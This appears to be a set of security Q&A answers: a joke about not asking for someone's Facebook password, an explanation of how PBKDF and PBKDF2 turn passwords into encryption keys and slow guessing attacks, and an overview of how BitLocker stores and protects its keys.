This is probably not a good idea since you should not make threats you are not prepared to deliver on, and you should not deliver on this threat. But sometimes I am tempted...
Reversing the roles
Sometimes it is easier to understand someone else's position if you reverse the roles. Give the person a sealed envelope and say this:

This envelope contains a piece of information that would completely ruin my career, my marriage, my life if it ever came out. You must hold on to this envelope forever, and make sure that nobody - including you - ever see what is inside.
But don't worry, I trust you completely.

When they refuse to take the envelope, explain that you don't want their Facebook password either.


The answer is in the name:  PBKDF is an acronym standing for "Password-Based Key Derivation Function".  Its whole job is to take a password as input and generate an encryption key as output.

The primary reason we need functions like this is that encryption algorithms like AES take a fixed size key.  By definition, AES-128 requires a 128 bit (16-byte) key.  But a user's password is simply a series of bytes - maybe it's 50 bytes, maybe it's only 5 bytes, depending on what the user entered.  Therefore, if you want to use the password to encrypt, you somehow have to embed that password into the exact 16 bytes required by AES.  You're obviously doing something like that already in order to feed your current password into AES, even if you don't recognize it by that name.

A PBKDF is designed to take however many bytes the user inputs, stir them all together using an algorithm (called a hash), and then produce a string of bits suitable for use as a key.  If you need 16 bytes for your AES key, you simply take the first 16 bytes that come out of the PBKDF function.

Think about if you didn't use a PBKDF, but instead required your users to enter at least a 16 byte password.  Without a PBKDF, what happens to everything after the 16th byte?  It becomes meaningless.  If I type a password of security.stackexchange.com, I could also type a password of security.stackexPOSITION@ORG or just security.stackex and any of them would still work.  But because a PBKDF mixes all of those letters together, they all contribute to the key, and the whole password is checked.

The next reason we need PBKDF functions is that passwords have a lot of predictability in them, because English-speaking humans usually only use characters in the ranges of a-z, A-Z, and 0-9.  Despite the fact that there are 8 bits in a byte, a 10 character password will not provide 80 bits of uncertainty in the key; most will provide 47 bits (or less) of uncertainty, and that means it can be easily guessed by a modern attacker.  But because a PBKDF takes all the letters of the password into account, it makes a 20 character password much stronger than a 10 character password, and improves your users' security.

A stronger routine such as PBKDF2 goes one step farther than a simple PBKDF in helping protect against a password guessing attack, by making the operation take a large amount of computing resources.  An attacker who wishes to try guessing every word in the dictionary will need only a few milliseconds to try every word as a decryption key.  An attacker who needs to run through 10,000 hashes with PBKDF2 will take hours or days to try the whole dictionary.


Microsoft Bitlocker - Using my own encryption/decryption key

Thankfully no. The actual keys used to encrypt the data volume are randomly generated securely anyway. These keys are normally stored in the TPM and will be released when the TPM's integrity check is done on pre-boot components and settings. Note that the TPM key has nothing to do with the Windows user account and password (you can always add and remove Windows accounts and it would not affect Bitlocker).

It will become a security issue if the user could somehow access the keys in the TPM via a software interface (and in your case, change the encryption/decryption key). Luckily this is not possible, which leads us to trust the TPM as a hardware-based solution.

You may refer to the Bitlocker technical overview for more information. Notice that there are multiple keys at play, not just one key.

http://technet.microsoft.com/en-us/library/cc732774(v=ws.10).aspx

For Bitlocker To-Go (i.e. Bitlocker for removable drives), we don't want the removable drive to be tied to the TPM, since the drive should be readable on different machines. Therefore, you set the password of the Bitlocker drives which determines the key that encrypts the volume key. The reason why such a scheme is used is for the user to change his password easily without having to re-encrypt the entire data volume (i.e. just need to re-encrypt the volume key).